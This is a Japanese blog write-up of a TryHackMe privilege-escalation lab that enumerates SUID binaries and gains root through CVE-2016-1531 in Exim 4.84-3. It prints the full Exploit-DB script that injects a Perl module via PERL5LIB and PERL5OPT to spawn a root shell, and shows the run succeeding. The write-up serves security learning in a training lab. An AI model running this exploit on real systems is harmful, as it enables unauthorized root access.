【CVE-2016-1531】Exim 4.84.3の脆弱性を利用した特権昇格をやってみた。TryHackMe Linux PrivEsc Writeup Part6

【CVE-2016-1531】Exim 4.84.3の脆弱性を利用した特権昇格をやってみた。TryHackMe Linux PrivEsc Writeup Part6
  • URLをコピーしました!

今回は、「CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc

こちらの記事は、Part6になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「Cron Jobsを利用した権限昇格」も確認してください。

解説は、ネタバレになりますので、注意してください。

目次

事前準備

まずは、ターゲットマシンを起動します。
TryHackMeを利用している場合は、「Start Machine」を選択しましょう。

下記のようにIP Addressが表示されていれば、起動OKです!

今回は、ターゲットマシンに接続できた後の権限昇格なので、SSHで接続できるところまで確認しましょう。

┌──(hacklab㉿hacklab)-[~]
└─$ ssh user@10.10.52.40
user@10.10.52.40's password: 
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  9 08:54:59 2023 from ip-10-18-110-90.eu-west-1.compute.internal
user@debian:~$

アクセスできれば、事前準備は完了です。

CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格

ここまで来たら、実際に特権昇格をやってみましょう。

SUID/SGIDとは?

CVE-2016-1531は、SUID/SGIDの仕組みを利用します。
まずは、SUIDとSGIDを簡単に理解しておきましょう。

  • UID:LinuxではUIDと呼ばれるID番号でユーザを管理している
  • SUID:実行権限があれば、ファイルを実行した際にそのファイルの所有者の権限で実行される
  • SGID:実行権限があれば、ファイルを実行した際にそのファイルの所有グループの権限で実行される

脆弱性を探す

では、まずは脆弱性をさがしてみましょう。
SUID/SGID実行可能ファイルを探していきます。

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs

SUID/SGIDで実行可能なファイルの一覧に、「/usr/sbin/exim-4.84-3」があるのを見逃さないでください。

次に、Exploit-DBで「exim-4.48-3」の脆弱性を確認します。

Exploit-DBで「cve-2016-1531」がヒットすることがわかったと思います。
ここまできたら、Exploit-DBに記載のあるshellを実行するだけですね。

CVE-2016-1531 Exim 484.3を利用して特権昇格

では、ターゲットマシンにExploit-DBに記載されているShellを作成しましょう。
TryHackMeの場合は、下記にすでに作成されています。

user@debian:~$ cat /home/user/tools/suid/exim/cve-2016-1531.sh 
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

最後に、作成したShellを実行するだけです。

user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh 
[ CVE-2016-1531 local root exploit
sh-4.1# whoami
root

無事、root権限を取得することができました。

まとめ

今回は、「CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格」をやってみました。
偵察さえ終われば、Exploit-DBに記載のある内容を実行するだけなので、簡単でしたね。

とはいえ、実際に偵察しているときに気が付けるか。。。まだまだ勉強が必要だなと感じました。

参考文献・サイト

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次